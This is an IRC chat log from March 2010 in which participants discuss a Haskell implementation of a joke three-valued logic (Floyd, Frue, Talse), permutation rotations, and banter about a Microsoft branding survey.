22:59:50 <Sgeo> ...
23:00:52 <Sgeo> http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24563#a24563
23:01:48 <Sgeo> You know, in (+), Floyd almost acts like a NaN
23:02:32 <oerjan> Sgeo: you could define fMiddle with 0 -> Floyd; 1 -> Frue; 2 -> Talse and then fLeft and fRight would be rotations in each directions of that
23:02:58 <fax> what *I* would do is just write out the truth tables in full
23:03:01 <Sgeo> What does fMiddle mean, exactly?
23:03:15 <Sgeo> fax, I just wrote directly from the specs
23:03:19 <fax> if you MUST make it short gzip the program once it's done
23:03:22 <oerjan> Sgeo: um the third option you could invent other than fLeft and fRight?
23:03:29 <fax> okay that's different
23:03:44 <Sgeo> Also, fLeft and fRight operate on lists of FValues
23:04:10 <oerjan> each of those are just rotating the result values of the others
23:04:30 <Sgeo> Shouldn't there be 3!=6 possibilities, if you count more than just what you can get by rotating?
23:04:53 <oerjan> Sgeo: yep. but rotations are the even permutations
23:05:02 <oerjan> and form a subgroup
23:05:09 * Sgeo is lost
23:05:39 <oerjan> Sgeo: rotations are those permutations of 3 that leave no element in place
23:05:51 <oerjan> this works only for 3 elements though
23:06:13 * Sgeo wonders how FTheorem processing would wrok
23:06:15 <Sgeo> *work
23:07:32 <oerjan> Sgeo: like a NaN, except Floyd <+> Floyd == Talse
23:07:53 <Sgeo> Oh, right
23:12:21 <Sgeo> Hm, a Data.Map String (a->b) could presumably be used to make an OOP-like object
23:12:22 <pikhq> Floyd <+> Floyd ought to == Pink.
23:12:25 <Sgeo> Well, not a->b
23:12:37 <Sgeo> But some thing that can store various types of functions?
23:12:46 <Sgeo> lol pikhq
23:14:35 <pikhq> Not seeing much of a way to make that typecheck, without making a single type that has constructors for what function types you want...
23:22:01 * Sgeo does wonder if the function he wrote works
23:23:26 <Sgeo> Yes, although it is backwards from elemIndices
23:23:54 <lament> Let others praise ancient times; I am glad I was born in these. -- Ovid (43 B.C. - A.D. 18)
23:24:13 <Sgeo> lol
23:24:42 <Sgeo> And quite possibly, future times may be more fun than these
23:24:46 <Sgeo> And less painful
23:25:00 <lament> once soma becomes widespread anyway
23:25:10 <Gregor> "This survey is sponsored by the Microsoft Employee Branding Team" What a hilariously creepy name for a team.
23:25:31 <Sgeo> soma==wireheading?
23:25:32 <lament> haha
23:25:59 <lament> Gregor: they walk around the campus with branding irons
23:26:17 <Gregor> That was my thought.
23:26:51 <Gregor> I hope they at least use the old Microsoft logo: http://upload.wikimedia.org/wikipedia/commons/f/f6/Microsoft_Logo_Historical.svg
23:30:08 -!- Tritonio_GR has quit (Ping timeout: 240 seconds).
23:36:20 * Sgeo shouldn't be playing with Haskell now
23:54:53 -!- augur has quit (Read error: Connection reset by peer).
23:55:24 -!- augur has joined.
23:58:08 -!- ais523 has quit (Remote host closed the connection).
23:59:42 <oklopol> augur: sure
←2010-02 2010-03 2010-04→ ↑2010 ↑all